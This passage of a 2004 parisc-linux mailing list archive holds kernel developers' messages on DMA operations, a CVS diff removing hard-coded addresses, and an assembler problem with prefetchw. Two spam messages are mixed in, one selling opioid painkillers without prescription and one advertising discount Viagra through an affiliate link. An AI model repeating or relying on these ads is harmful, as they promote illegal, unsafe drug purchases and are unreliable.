Ideally, "make" would detect when support for only one chipset is
needed and just do away with hppa_dma_ops completely (ie directly
call into the chipset specific function).

> Thanks in advance,
> 	Joel
> 
> PS: btw I noticed that ncr_attach() is still prefix by __init where 
> sym_attach() is now prefix by __devinit. I trust it is important but could 
> it be the simple reason of pb encounter?

IIRC, the difference is for hotplug.
__devinit section is preserved when CONFIG_HOTPLUG is enabled.
See linux/Documentation/pci.txt for the real description.

grant


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0
Date: Sat, 24 Apr 2004 22:31:48 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <408AEAD4.9050605@tiscali.be>
References: <40711E5500008F1F@ocpmta2.freegates.net>
	<408AD395.4060909@tiscali.be>
	<20040424221944.GD7422@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623404 8938 80.91.229.3 (22 Nov 2014 02:30:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Apr 24 16:31:34 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0ABD8485F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Apr 2004 16:31:34 -0600 (MDT)
Original-Received: from [83.134.226.65] (port=33196 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BHVgK-0003Pb-Kh; Sun, 25 Apr 2004 00:31:32 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en
In-Reply-To: <20040424221944.GD7422@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Apr 2004 22:31:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21511



Grant Grundler wrote:
> On Sat, Apr 24, 2004 at 08:52:37PM +0000, Joel Soete wrote:
> 
>>Hello Grant,
>>
>>Sorry in advance to disturbe you with this c110 pb but if I well understand 
>>the physical connection (fine doc find on openpa.net :) and better 
>>understand what james means, otc I past the full last week to study more 
>>ccio-dma and ncr53c8xx but I don't reach to locate the part of code making 
>> the link between those 2 part (i mean where ncr call ccio and visversa). 
>> Could you help me a bit more.
> 
> 
> Yup. Using 2.6.5-pa8 source tree, ncr53c8xx.c calls DMA services from
> ncr_scatter():
> 
> ncr53c8xx.c:7594:	u_long baddr = map_scsi_single_data(np, cmd);
> 
> sym53c8xx_comm.h:699:static int __map_scsi_sg_data(struct device *dev, Scsi_Cmnd *cmd)
> ...
> sym53c8xx_comm.h:708:	use_sg = dma_map_sg(dev, cmd->buffer, cmd->use_sg, dma_dir);
> 
> 
> asm/dma-mapping.h:91:static inline int
> asm/dma-mapping.h:92:dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
> asm/dma-mapping.h:93:           enum dma_data_direction direction)
> asm/dma-mapping.h:94:{
> asm/dma-mapping.h:95:        return hppa_dma_ops->map_sg(dev, sg, nents, direction);
> asm/dma-mapping.h:96:}
> 
> Then search for hppa_dma_ops in arch/parisc/kernel/* and drivers/parisc/*.c
> to locate the various platform/chipset DMA support:
> 
> grundler <553>fgrep -n hppa_dma_ops arch/parisc/kernel/*c drivers/parisc/*
> arch/parisc/kernel/drivers.c:30:struct hppa_dma_ops *hppa_dma_ops;
> arch/parisc/kernel/drivers.c:31:EXPORT_SYMBOL(hppa_dma_ops);
> arch/parisc/kernel/pci-dma.c:492:struct hppa_dma_ops pcxl_dma_ops = {
> arch/parisc/kernel/pci-dma.c:533:struct hppa_dma_ops pcx_dma_ops = {
> arch/parisc/kernel/setup.c:96:          hppa_dma_ops = &pcx_dma_ops;
> arch/parisc/kernel/setup.c:101:         hppa_dma_ops = &pcxl_dma_ops;
> drivers/parisc/ccio-dma.c:1009:static struct hppa_dma_ops ccio_ops = {
> drivers/parisc/ccio-dma.c:1545: hppa_dma_ops = &ccio_ops;
> drivers/parisc/ccio-rm-dma.c:183:       hppa_dma_ops = &ccio_ops;
> drivers/parisc/sba_iommu.c:1177:static struct hppa_dma_ops sba_ops = {
> drivers/parisc/sba_iommu.c:1809:        hppa_dma_ops = &sba_ops;
> 
> Ideally, "make" would detect when support for only one chipset is
> needed and just do away with hppa_dma_ops completely (ie directly
> call into the chipset specific function).
> 
> 
>>Thanks in advance,
>>	Joel
>>
>>PS: btw I noticed that ncr_attach() is still prefix by __init where 
>>sym_attach() is now prefix by __devinit. I trust it is important but could 
>>it be the simple reason of pb encounter?
> 
> 
> IIRC, the difference is for hotplug.
> __devinit section is preserved when CONFIG_HOTPLUG is enabled.
> See linux/Documentation/pci.txt for the real description.
> 
> grant
> 
Great.

Many thanks,
	Joel


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jared Ward" <jared_ward_kf@modular.co.th>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Purchase Hy.drocodone Online Easily Today
Date: Sun, 25 Apr 2004 02:51:11 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <b1a301c42a70$d0c90d53$46ef3e8a@tvbase.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623404 8941 80.91.229.3 (22 Nov 2014 02:30:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jared_ward_kf@modular.co.th  Sat Apr 24 19:52:46 2004
Return-Path: <jared_ward_kf@modular.co.th>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tvbase.fr (unknown [218.12.10.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 49F9A4839
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Apr 2004 19:52:43 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 25 Apr 2004 01:52:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21512

<html>
Buy top painkillers without prescription<p>
Today's special: Free overnight Fedex delivery<p>
Vicodin.....................$2.55/dose<br>
Hydrocodone............$2.14/dose<br>
Norco.......................$2.95/dose<p>
Stock is limited and selling fast, so hurry<br>
<a href="http://jnjkyncwvblqw.ewsz3z.com/?p=8095">Buy them here</a>
</html>



From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 25 Apr 2004 09:55:40 -0500
Lines: 274
Approved: news@gmane.org
Message-ID: <1082904942.12039.1.camel@mulgrave>
References: <20040425145051.10F5C4942B8@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623405 8947 80.91.229.3 (22 Nov 2014 02:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:05 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sun Apr 25 08:55:43 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4F4E6485E; Sun, 25 Apr 2004 08:55:43 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3PEtga03445; Sun, 25 Apr 2004 10:55:42 -0400
In-Reply-To: <20040425145051.10F5C4942B8@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 25 Apr 2004 14:55:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21513

On Sun, 2004-04-25 at 09:50, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/25 08:50:51
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: asm-offsets.c entry.S head.S head64.S 
> 	                    pacache.S vmlinux.lds.S 
> 	arch/parisc/mm : init.c 
> 	include/asm-parisc: fixmap.h page.h pgtable.h 
> 
> Log message:
> Eliminate some Magic numbers
> 
> Also move fixed mapping definitions into fixmap.h

Index: arch/parisc/kernel/asm-offsets.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/asm-offsets.c,v
retrieving revision 1.3
diff -u -r1.3 asm-offsets.c
--- a/arch/parisc/kernel/asm-offsets.c	17 Jan 2004 06:39:24 -0000	1.3
+++ b/arch/parisc/kernel/asm-offsets.c	25 Apr 2004 14:48:12 -0000
@@ -32,6 +32,7 @@
 #include <linux/thread_info.h>
 #include <linux/version.h>
 #include <linux/ptrace.h>
+#include <asm/pgtable.h>
 
 #include <asm/ptrace.h>
 #include <asm/processor.h>
@@ -275,6 +276,7 @@
 	BLANK();
 	DEFINE(PA_BLOCKSTEP_BIT, 31-PT_BLOCKSTEP_BIT);
 	DEFINE(PA_SINGLESTEP_BIT, 31-PT_SINGLESTEP_BIT);
+	DEFINE(ASM_PMD_ENTRY, ((__PAGE_OFFSET & PMD_MASK) >> PMD_SHIFT));
 	BLANK();
 	return 0;
 }
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.7
diff -u -r1.7 entry.S
--- a/arch/parisc/kernel/entry.S	7 Feb 2004 18:32:50 -0000	1.7
+++ b/arch/parisc/kernel/entry.S	25 Apr 2004 14:48:14 -0000
@@ -1041,6 +1041,9 @@
 
 	cmpib,*<>,n     0,spc,dtlb_fault /* forward */
 	ldil            L%(TMPALIAS_MAP_START),t0
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0,31,32,t0	/* clear any sign extension */
+#endif
 	copy            va,t1
 	depdi           0,63,23,t1
 	cmpb,*<>,n      t0,t1,dtlb_fault /* forward */
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.3
diff -u -r1.3 head.S
--- a/arch/parisc/kernel/head.S	17 Jan 2004 15:00:32 -0000	1.3
+++ b/arch/parisc/kernel/head.S	25 Apr 2004 14:48:15 -0000
@@ -83,13 +83,9 @@
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-#if (__PAGE_OFFSET != 0x10000000UL)
-Error! Code below (the next two stw's) needs to be changed
-#endif
-
-	stw             %r3,0x100(%r4)  /* Hardwired 0x1... kernel Vaddr start*/
+	stw             %r3,((__PAGE_OFFSET>>PGDIR_SHIFT)*4)(%r4)
 	ldo		0x1000(%r3),%r3
-	stw             %r3,0x104(%r4)
+	stw             %r3,(((__PAGE_OFFSET>>PGDIR_SHIFT) + 1)*4)(%r4)
 	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 $pgt_fill_loop:
 	stwm		%r3,4(%r1)
Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.4
diff -u -r1.4 head64.S
--- a/arch/parisc/kernel/head64.S	7 Feb 2004 17:56:51 -0000	1.4
+++ b/arch/parisc/kernel/head64.S	25 Apr 2004 14:48:15 -0000
@@ -88,20 +88,16 @@
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-#if (__PAGE_OFFSET != 0x10000000UL)
-Error! Code below (the next five std's) needs to be changed
-#endif
-
-	std             %r3,0x00(%r4)   /* Hardwired 0x1... kernel Vaddr start*/
+	std             %r3,((__PAGE_OFFSET >> PGDIR_SHIFT)*8)(%r4)
 
 	ldo		_PAGE_TABLE(%r1),%r3
-	std             %r3,0x400(%r5)  /* Hardwired 0x1... kernel Vaddr start*/
+	std             %r3,(ASM_PMD_ENTRY * 8) (%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,0x408(%r5)
+	std             %r3,((ASM_PMD_ENTRY + 1)*8)(%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,0x410(%r5)
+	std             %r3,((ASM_PMD_ENTRY + 2)*8)(%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,0x418(%r5)
+	std             %r3,((ASM_PMD_ENTRY + 3)*8)(%r5)
 
 	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 $pgt_fill_loop:
Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.5
diff -u -r1.5 pacache.S
--- a/arch/parisc/kernel/pacache.S	5 Apr 2004 02:47:39 -0000	1.5
+++ b/arch/parisc/kernel/pacache.S	25 Apr 2004 14:48:16 -0000
@@ -350,10 +350,6 @@
 
 	.procend
 
-#if (TMPALIAS_MAP_START >= 0x80000000UL)
-Warning TMPALIAS_MAP_START changed. If > 2 Gb, code in pacache.S is bogus
-#endif
-
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
  *       maximum alias boundary being 4 Mb. We've been assured by the
@@ -490,6 +486,9 @@
 
 	ldil    L%(TMPALIAS_MAP_START),%r28
 #ifdef __LP64__
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi	0,31,32,%r28	/* clear any sign extension */
+#endif
 	extrd,u %r26,56,32,%r26 /* convert phys addr to tlb insert format */
 	depd    %r25,63,22,%r28 /* Form aliased virtual address 'to' */
 	depdi   0,63,12,%r28    /* Clear any offset bits */
Index: arch/parisc/kernel/vmlinux.lds.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/vmlinux.lds.S,v
retrieving revision 1.11
diff -u -r1.11 vmlinux.lds.S
--- a/arch/parisc/kernel/vmlinux.lds.S	23 Apr 2004 13:57:54 -0000	1.11
+++ b/arch/parisc/kernel/vmlinux.lds.S	25 Apr 2004 14:48:16 -0000
@@ -26,6 +26,7 @@
 #include <asm-generic/vmlinux.lds.h>
 /* needed for the processor specific cache alignment size */	
 #include <asm/cache.h>
+#include <asm/page.h>
 	
 /* ld script to make hppa Linux kernel */
 #ifndef CONFIG_PARISC64
@@ -45,7 +46,7 @@
 SECTIONS
 {
 
-  . = 0x10100000;
+  . = KERNEL_BINARY_TEXT_START;
 
   _text = .;			/* Text and read-only data */
   .text ALIGN(16) : {
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.3
diff -u -r1.3 init.c
--- a/arch/parisc/mm/init.c	29 Sep 2003 16:05:00 -0000	1.3
+++ b/arch/parisc/mm/init.c	25 Apr 2004 14:48:17 -0000
@@ -424,7 +424,12 @@
  * a hole of 4kB between each vmalloced area for the same reason.
  */
 
-#define MAP_START 0x4000 /* Leave room for gateway page expansion */
+ /* Leave room for gateway page expansion */
+#if KERNEL_MAP_START < GATEWAY_PAGE_SIZE
+#error KERNEL_MAP_START is in gateway reserved region
+#endif
+#define MAP_START (KERNEL_MAP_START)
+
 #define VM_MAP_OFFSET  (32*1024)
 #define SET_MAP_OFFSET(x) ((void *)(((unsigned long)(x) + VM_MAP_OFFSET) \
 				     & ~(VM_MAP_OFFSET-1)))
Index: include/asm-parisc/fixmap.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/fixmap.h,v
retrieving revision 1.1
diff -u -r1.1 fixmap.h
--- a/include/asm-parisc/fixmap.h	29 Jul 2003 17:02:03 -0000	1.1
+++ b/include/asm-parisc/fixmap.h	25 Apr 2004 14:48:36 -0000
@@ -2,18 +2,22 @@
 #define _ASM_FIXMAP_H
 
 /*
- * Allocate a 8 Mb temporary mapping area for copy_user_page/clear_user_page.
- * This area needs to be aligned on a 8 Mb boundary.
+ * This file defines the locations of the fixed mappings on parisc.
  *
- * FIXME:
+ * All of the values in this file are machine virtual addresses.
  *
- * For PA-RISC, this has no meaning.  It is starting to be used on x86
- * for vsyscalls.  PA will probably do this using space registers.
- */
+ * All of the values in this file must be <4GB (because of assembly
+ * loading restrictions).  If you place this region anywhere above
+ * __PAGE_OFFSET, you must adjust the memory map accordingly */
 
-/* This TMPALIAS_MAP_START reserves some of the memory where the
- * FIXMAP region is on x86.  It's only real use is to constrain
- * VMALLOC_END (see pktable.h) */
-#define TMPALIAS_MAP_START (__PAGE_OFFSET - 0x01000000)
+/* The alias region is used in kernel space to do copy/clear to or
+ * from areas congruently mapped with user space.  It is 8MB large
+ * and must be 16MB aligned */
+#define TMPALIAS_MAP_START	((__PAGE_OFFSET) - 16*1024*1024)
+/* This is the kernel area for all maps (vmalloc, dma etc.)  most
+ * usually, it extends up to TMPALIAS_MAP_START.  Virtual addresses
+ * 0..GATEWAY_PAGE_SIZE are reserved for the gateway page */
+#define KERNEL_MAP_START	(GATEWAY_PAGE_SIZE)
+#define KERNEL_MAP_END		(TMPALIAS_MAP_START)
 
 #endif
Index: include/asm-parisc/page.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
retrieving revision 1.2
diff -u -r1.2 page.h
--- a/include/asm-parisc/page.h	25 Sep 2003 01:07:21 -0000	1.2
+++ b/include/asm-parisc/page.h	25 Apr 2004 14:48:36 -0000
@@ -89,9 +89,22 @@
 

 #define LINUX_GATEWAY_SPACE     0
+
+/* This governs the relationship between virtual and physical addresses.
+ * If you alter it, make sure to take care of our various fixed mapping
+ * segments in fixmap.h */
 #define __PAGE_OFFSET           (0x10000000)
 
 #define PAGE_OFFSET		((unsigned long)__PAGE_OFFSET)
+
+/* The size of the gateway page (we leave lots of room for expansion) */
+#define GATEWAY_PAGE_SIZE	0x4000
+
+/* The start of the actual kernel binary---used in vmlinux.lds.S
+ * Leave some space after __PAGE_OFFSET for detecting kernel null
+ * ptr derefs */
+#define KERNEL_BINARY_TEXT_START	(__PAGE_OFFSET + 0x100000)
+
 /* These macros don't work for 64-bit C code -- don't allow in C at all */
 #ifdef __ASSEMBLY__
 #   define PA(x)	((x)-__PAGE_OFFSET)
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.4
diff -u -r1.4 pgtable.h
--- a/include/asm-parisc/pgtable.h	27 Jan 2004 18:46:14 -0000	1.4
+++ b/include/asm-parisc/pgtable.h	25 Apr 2004 14:48:37 -0000
@@ -110,7 +110,7 @@
 #define PCXL_DMA_MAP_SIZE   (8*1024*1024)
 #define VMALLOC_START   ((unsigned long)vmalloc_start)
 /* this is a fixmap remnant, see fixmap.h */
-#define VMALLOC_END	(TMPALIAS_MAP_START)
+#define VMALLOC_END	(KERNEL_MAP_END)
 #endif
 
 /* NB: The tlb miss handlers make certain assumptions about the order */



From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] 7300LC
Date: Sun, 25 Apr 2004 18:41:11 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20040426014111.GC3965@tausq.org>
References: <20040419223250.7E3CE494572@palinux.hppa>
	<20040419223444.GB18329@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623405 8950 80.91.229.3 (22 Nov 2014 02:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: randolph@tausq.org  Sun Apr 25 19:41:11 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4519248A9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Apr 2004 19:41:11 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 37D37CD2AE; Sun, 25 Apr 2004 18:41:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040419223444.GB18329@parcelfarce.linux.theplanet.co.uk>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 01:41:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21514

willy, kyle found out that this doesn't work:

> > Split out 7300LC from 7100LC and PREFETCH from PA20.

extern inline void prefetchw(const void *addr)
{
        __asm__("ldd 0(%0), %%r0" : : "r" (addr));
}

on pa11 gas won't assemble the ldd insn.

is this supposed to work for pa7300lc? if so we might have to rewrite
prefetchw to use a .word or something...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: " Shaw" <okuxm@canada.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] halve
Date: Sun, 25 Apr 2004 08:35:23 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <21881.9510461346$1416623405@news.gmane.org>
Reply-To: Shaw <okuxm@canada.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--1339158834161622"
X-Trace: ger.gmane.org 1416623405 8952 80.91.229.3 (22 Nov 2014 02:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:05 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: okuxm@canada.com  Sun Apr 25 19:42:27 2004
Return-Path: <okuxm@canada.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c207.134.173-123.clta.globetrotter.net
	(c207.134.173-123.clta.globetrotter.net [207.134.173.123])
	by dsl2.external.hp.com (Postfix) with SMTP id C3C6C48BA
	for <parisc-linux@parisc-linux.org>;
	Sun, 25 Apr 2004 19:42:26 -0600 (MDT)
X-Message-Info: 2GJDM22RND_UC_CHAR[1-3]bv6/MnQxHL6170ssjKgy5muZDJ
Original-Received: from thread ([248.130.84.68]) by 48z.lava.invertible.choppy.yes.com
	(InterMail vU.9.91.51.95 921-1306-70-12789-77-699993) with ESMTP id
	<497430620190241.YCIG8750.enj673-mail.muscle.courtyard.net.cable.rogers.com@delicate>
	for <parisc-linux@parisc-linux.org>; Sun, 25 Apr 2004 17:34:23 +0300
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 01:42:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21515

----1339158834161622
Content-Type: text/plain;
Content-Transfer-Encoding: 7Bit

Cody,"

Save 95% for all Viagra/Cialis/Levitra.


http://www.PILDEN.BIZ/ES001/?affiliate_id=233635&campaign_id=404

seventeen,they probably have.

----1339158834161622--









From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] 7300LC
Date: Sun, 25 Apr 2004 22:00:20 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200404260200.i3Q20KMx013937@hiauly1.hia.nrc.ca>
References: <20040426014111.GC3965@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623406 8955 80.91.229.3 (22 Nov 2014 02:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:06 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Apr 25 20:00:28 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B00448A9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Apr 2004 20:00:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
